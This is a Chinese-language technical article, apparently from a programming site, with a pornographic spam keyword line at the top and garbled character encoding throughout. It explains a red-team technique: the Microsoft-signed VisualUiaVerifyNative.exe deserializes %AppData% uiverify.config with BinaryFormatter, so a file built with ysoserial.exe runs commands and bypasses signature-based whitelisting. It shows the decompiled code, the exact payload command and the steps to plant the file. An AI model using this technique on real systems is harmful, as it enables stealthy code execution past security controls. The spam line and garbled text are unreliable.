亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

.NET 白名單文件通過反序列化執(zhí)行系統(tǒng)命令的方法

 更新時(shí)間:2024年11月07日 10:10:40   作者:dot.Net安全矩陣  
本文介紹了如何利用微軟簽名的白名單文件VisualUiaVerifyNative.exe繞過安全防護(hù),詳細(xì)解析了其依賴庫、反序列化漏洞利用過程,并演示了實(shí)際操作步驟,感興趣的朋友一起看看吧

 01閱讀須知

此文所提供的信息只為網(wǎng)絡(luò)安全人員對自己所負(fù)責(zé)的網(wǎng)站、服務(wù)器等(包括但不限于)進(jìn)行檢測或維護(hù)參考,未經(jīng)授權(quán)請勿利用文章中的技術(shù)資料對任何計(jì)算機(jī)系統(tǒng)進(jìn)行入侵操作。利用此文所提供的信息而造成的直接或間接后果和損失,均由使用者本人負(fù)責(zé)。本文所提供的工具僅用于學(xué)習(xí),禁止用于其他方面

02VisualUiaVerifyNative

在日常的紅隊(duì)行動中,利用微軟簽名的白名單文件來繞過防護(hù)措施是一種常見的行為,有些場景下紅隊(duì)通過利用系統(tǒng)白名單文件加載反序列化漏洞的方式執(zhí)行惡意指令。

VisualUiaVerifyNative.exe 是一款具備微軟簽名的可執(zhí)行文件,屬于Microsoft UI Automation框架的一部分,最初設(shè)計(jì)用于幫助開發(fā)人員驗(yàn)證UI自動化的狀態(tài),一般在 Microsoft Windows SDK(Windows Kits)包中,比如路徑:Windows Kits\10\bin\10.0.22621.0\x64\UIAVerify,該工具通常依賴于以下兩個(gè)重要的動態(tài)鏈接庫。

2.1 UIAComWrapper

UIAComWrapper.dll,該 DLL 文件封裝了 UI Automation COM 接口,用于簡化與 UI Automation 元素的交互。UI Automation 是一種微軟提供的技術(shù),允許自動化工具控制、監(jiān)視和測試 Windows 應(yīng)用程序的用戶界面。UIAComWrapper.dll 使 VisualUIAVerifyNative.exe 可以使用 .NET 代碼與 UI Automation API 進(jìn)行交互。

2.2 WUIATestLibrary

WUIATestLibrary.dll 提供了一些專門用于 UI 自動化測試的庫函數(shù),主要支持自動化測試中的通用任務(wù),例如自動化 UI 控件的查找、狀態(tài)驗(yàn)證和操作。VisualUIAVerifyNative.exe 依賴于此庫來運(yùn)行不同的 UI 驗(yàn)證和測試場景。

這些依賴庫的主要作用是為 VisualUIAVerifyNative.exe 提供接口和功能支持,使其能夠與 Windows 應(yīng)用程序的 UI 自動化框架進(jìn)行通信,并通過自動化的方式驗(yàn)證和測試界面元素。

由于VisualUiaVerifyNative具備了微軟官方簽名的文件,因此,從反病毒軟件的視角看屬于白名單應(yīng)用程序,常??梢岳@過許多基于簽名的安全防護(hù)措施。

03反編譯分析

我們使用dnspy打開VisualUiaVerifyNative文件的入口方法Main,發(fā)現(xiàn)調(diào)用了MainWindow類,具體代碼如下所示。

private static void Main(string[] args)
{
			try
			{
				Debug.AutoFlush = true;
				Application.EnableVisualStyles();
				Application.SetCompatibleTextRenderingDefault(false);
				Application.Run(new MainWindow(args));
				Automation.RemoveAllEventHandlers();
			}
			catch (Exception ex)
			{
				MessageBox.Show(ex.Message);
            }
}

MainWindow類的初始化方法中,有一個(gè)至關(guān)重要的函數(shù)ApplicationStateDeserialize負(fù)責(zé)反序列化配置文件中的數(shù)據(jù)。如下圖所示

進(jìn)入此方法內(nèi)部,發(fā)現(xiàn)打開讀取了一個(gè)名為uiverify.config的文件,位于用戶的AppData目錄中,代碼如下所示。

private void ApplicationStateDeserialize(){
    this._configFile = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "uiverify.config";
    if (File.Exists(this._configFile))
    {
        Stream stream = File.Open(this._configFile, FileMode.Open);
        BinaryFormatter binaryFormatter = new BinaryFormatter();
        this._applicationState = (ApplicationState)binaryFormatter.Deserialize(stream);
        stream.Close();
    }
}

最核心的是調(diào)用了BinaryFormatter類反序列化內(nèi)容,攻擊者可以通過精心構(gòu)造的payload欺騙反序列化過程,加載惡意代碼。在代碼中,binaryFormatter.Deserialize(stream)這一行正是漏洞的觸發(fā)點(diǎn),它會反序列化uiverify.config文件中的數(shù)據(jù),并將其載入到_applicationState中。

04實(shí)戰(zhàn)利用

第1步使用ysoserial.exe工具生成一個(gè)惡意的序列化payload。在這里,我們利用了BinaryFormatter格式,并選擇TextFormattingRunProperties作為觸發(fā)器,執(zhí)行命令notepad。

ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -o raw -c "notepad" > Roaminguiverify.config

這會生成一個(gè)二進(jìn)制格式的惡意payload,并將其保存為Roaminguiverify.config文件,內(nèi)容如下圖所示。

第2步,將生成的Roaminguiverify.config文件寫入到當(dāng)前用戶目錄,比如C:\Users\Administrator\AppData\Roaminguiverify.config。這個(gè)配置文件是VisualUiaVerifyNative在啟動時(shí)會自動讀取的文件,因此一旦寫入惡意數(shù)據(jù),運(yùn)行該工具時(shí)會自動觸發(fā)反序列化漏洞。

第3步,當(dāng)VisualUiaVerifyNative運(yùn)行時(shí),它會嘗試從Roaminguiverify.config文件中反序列化數(shù)據(jù),并因此執(zhí)行植入的惡意命令。在本例中,notepad.exe會在系統(tǒng)上啟動,表明命令執(zhí)行成功。

綜上,VisualUiaVerifyNative是一款具備微軟白名單的可執(zhí)行文件,用于基于Microsoft UI Automation框架進(jìn)行應(yīng)用測試。然而,通過對其配置文件的精心操作,攻擊者可以非法使用其功能來觸發(fā)反序列化漏洞,執(zhí)行任意代碼。

到此這篇關(guān)于.NET 白名單文件通過反序列化執(zhí)行系統(tǒng)命令的文章就介紹到這了,更多相關(guān).net 白名單文件反序列化執(zhí)行系統(tǒng)命令內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • ASP.NET MVC運(yùn)行出現(xiàn)Uncaught TypeError: Cannot set property __MVC_FormValidation of null的解決方法

    ASP.NET MVC運(yùn)行出現(xiàn)Uncaught TypeError: Cannot set property __MVC

    同一相站點(diǎn),有些頁面的客戶端驗(yàn)證能工作,而有些死活不行。打開頁面就出現(xiàn)Uncaught TypeError: Cannot set property __MVC_FormValidation of null錯(cuò)誤
    2010-04-04
  • asp.net判斷字符串是否是中文的方法

    asp.net判斷字符串是否是中文的方法

    asp.net判斷字符串是否是中文的方法,需要的朋友可以參考一下
    2013-03-03
  • gridview中實(shí)現(xiàn)radiobutton的單選示例

    gridview中實(shí)現(xiàn)radiobutton的單選示例

    radiobutton可以單選,于是想讓gridview也可以實(shí)現(xiàn),具體的思路及代碼如下,感興趣的朋友可以參考下
    2013-08-08
  • ASP.NET設(shè)置404頁面返回302HTTP狀態(tài)碼的解決方法

    ASP.NET設(shè)置404頁面返回302HTTP狀態(tài)碼的解決方法

    訪問網(wǎng)站時(shí)錯(cuò)誤頁面可正常顯示,但HTTP狀態(tài)碼卻是302,對SEO很不友好,按下列步驟修改使錯(cuò)誤頁面返回正確的利于SEO的404狀態(tài)碼,感興趣的朋友可以了解下
    2013-09-09
  • asp.net MVC分頁代碼分享

    asp.net MVC分頁代碼分享

    這篇文章主要為大家詳細(xì)介紹了asp.net MVC分頁代碼,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2016-09-09
  • ASP.NET主機(jī)資源控制的一些心得

    ASP.NET主機(jī)資源控制的一些心得

    您可以通過以下設(shè)置控制ASP.NET主機(jī)對服務(wù)器內(nèi)存的占用。并能設(shè)置ASP.NET主機(jī)進(jìn)程定時(shí)重建這樣可以避免服務(wù)器長時(shí)間運(yùn)行aspnet占用大量空閑內(nèi)存,有利于提高aspnet運(yùn)行效率。
    2013-02-02
  • 三層+存儲過程實(shí)現(xiàn)分頁示例代碼

    三層+存儲過程實(shí)現(xiàn)分頁示例代碼

    本文為大家介紹下三層+存儲過程分頁的具體實(shí)現(xiàn),前后臺及存儲過程代碼如下,感興趣的朋友可以參考下哈
    2013-06-06
  • asp.net Javascript獲取CheckBoxList的value

    asp.net Javascript獲取CheckBoxList的value

    最近在做一個(gè)BS的小項(xiàng)目,記得自己搞asp.net的時(shí)候,還是兩年以前,大部分的東西只是有點(diǎn)印象,忘得差不多了,所以這次也算是溫習(xí)的過程吧,一邊學(xué)習(xí),一邊趕工,呵呵呵。。。。
    2009-12-12
  • DiscuzNT 論壇與主站的同步登錄與退出

    DiscuzNT 論壇與主站的同步登錄與退出

    首先我先說明一下,我參考了這篇文章:http://nt.discuz.net/showtopic-49836.html,在這篇文章啟發(fā)下簡單化。 我裝的是2.5Beta版
    2009-03-03
  • .Net使用EF Core框架連接Oracle的方法

    .Net使用EF Core框架連接Oracle的方法

    文章介紹了如何在.NET中使用Entity Framework Core框架連接Oracle數(shù)據(jù)庫,包括安裝必要的NuGet包、配置連接字符串、創(chuàng)建實(shí)體類和數(shù)據(jù)庫上下文類、注冊數(shù)據(jù)庫上下文服務(wù)以及測試數(shù)據(jù)庫數(shù)據(jù),感興趣的朋友一起看看吧
    2025-02-02

最新評論